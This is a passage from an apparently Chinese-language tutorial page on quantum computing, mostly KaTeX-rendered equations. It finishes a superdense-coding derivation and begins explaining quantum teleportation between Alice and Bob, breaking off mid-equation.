fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo>=</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>⊗</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mo>−</mo><mo stretchy="false">⟩</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>H</mi><msub><mi>q</mi><mn>0</mn></msub></msub></mpadded></mover></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>⊗</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>=</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}&amp; \frac{1}{\sqrt2}\left(\vert{}00\rangle-\vert{}11\rangle\right) \\\xrightarrow{CNOT} &amp; \frac{1}{\sqrt2}\left(\vert{}00\rangle-\vert{}01\rangle\right)= \vert{}0\rangle \otimes \frac{1}{\sqrt2}\left( \vert{}0\rangle - \vert{}1\rangle \right) = \vert{}0\rangle \otimes \vert{}-\rangle \\\xrightarrow{H_{q_0}} &amp; \vert{}0\rangle \otimes \vert{}1\rangle = \vert{}01\rangle\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:6.5632em;vertical-align:-3.0316em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.5316em;"><span style="top:-5.5316em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"></span></span><span style="top:-2.9802em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">C</span><span class="mord mathnormal mtight" style="margin-right:0.109em;">N</span><span class="mord mathnormal mtight" style="margin-right:0.0278em;">O</span><span class="mord mathnormal mtight" style="margin-right:0.1389em;">T</span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span></span></span><span style="top:-0.6498em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0813em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">0</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.0316em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.5316em;"><span style="top:-5.5316em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.9802em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">−</span><span class="mclose">⟩</span></span></span><span style="top:-0.6498em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.0316em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>對吧！最後得到的 01 就是 Alice 一開始要傳的訊息啊！</p><h2 id="quantum-teleportation" tabindex="-1" id="Quantum-teleportation">Quantum teleportation</h2><p>用量子糾纏來傳訊息，如下圖，A、B 是糾纏的一對粒子，我們把粒子 B 留在 Bob 手上，粒子 A 讓 Alice 帶出去。假設今天 Alice 想傳送資訊 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span></span></span></span> 給 Bob，即下圖中的粒子 D。Alice 可以藉由對 A 和 D 進行一些測量、操作，把結果藉由古典通道傳回給 Bob，Bob 就能回推出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span></span></span></span>！就如圖中的把 B 變成 D！</p><p><img src="1_bHSU9qggIvucThnhNmH4tA.gif" alt="Quantum teleportation"><br>圖片來源：<a href="https://medium.com/quantumcomputingnepal/quantum-teleportation-simplified-98a470b636a4">Quantum Teleportation Simplified. How is qubit phase teleported from one… | by Bishal Shrestha | Quantum Computing Nepal | Medium</a></p><p>以下是具體步驟</p><p><img src="2026-07-18-23-16-54.png" alt="Quantum teleportation"><br>圖片來源：<a href="https://mareknarozniak.com/2020/03/22/simulating-quantum-teleportation/">Simulating Quantum Teleportation - Marek Narozniak’s Homepage</a></p><p>一開始的 H Gate 和 CNOT Gate 是拿來創造 Bell State 的。上圖中第一列是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span></span></span></span>，也就是我們想傳遞的粒子 D 的資訊；第二列是 A，第三列是 B。所以</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><msub><mi>ψ</mi><mn>2</mn></msub><mo stretchy="false">⟩</mo><mo>=</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo><mo>⊗</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo>+</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo>⊗</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mo lspace="0em" rspace="0em">=</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}\vert{}\psi_2\rangle = &amp; \vert{}\psi\rangle\otimes\vert{}\psi+\rangle = \frac{1}{\sqrt2}\left(\alpha\vert{}0\rangle+\beta\vert{}1\rangle\right) \otimes \frac{1}{\sqrt2}\left(\vert{}00\rangle+\vert{}11\rangle\right) \\= &amp; \frac12\left( \alpha\left( \vert{}00\rangle + \vert{}11\rangle \right)\vert{}0\rangle + \beta\left( \vert{}00\rangle + \vert{}11\rangle \right)\vert{}1\rangle \right)\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.5589em;vertical-align:-2.0294em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5294em;"><span style="top:-4.5294em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span></span></span><span style="top:-1.978em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mrel">=</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.0294em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5294em;"><span style="top:-4.5294em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mord">+</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-1.978em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span 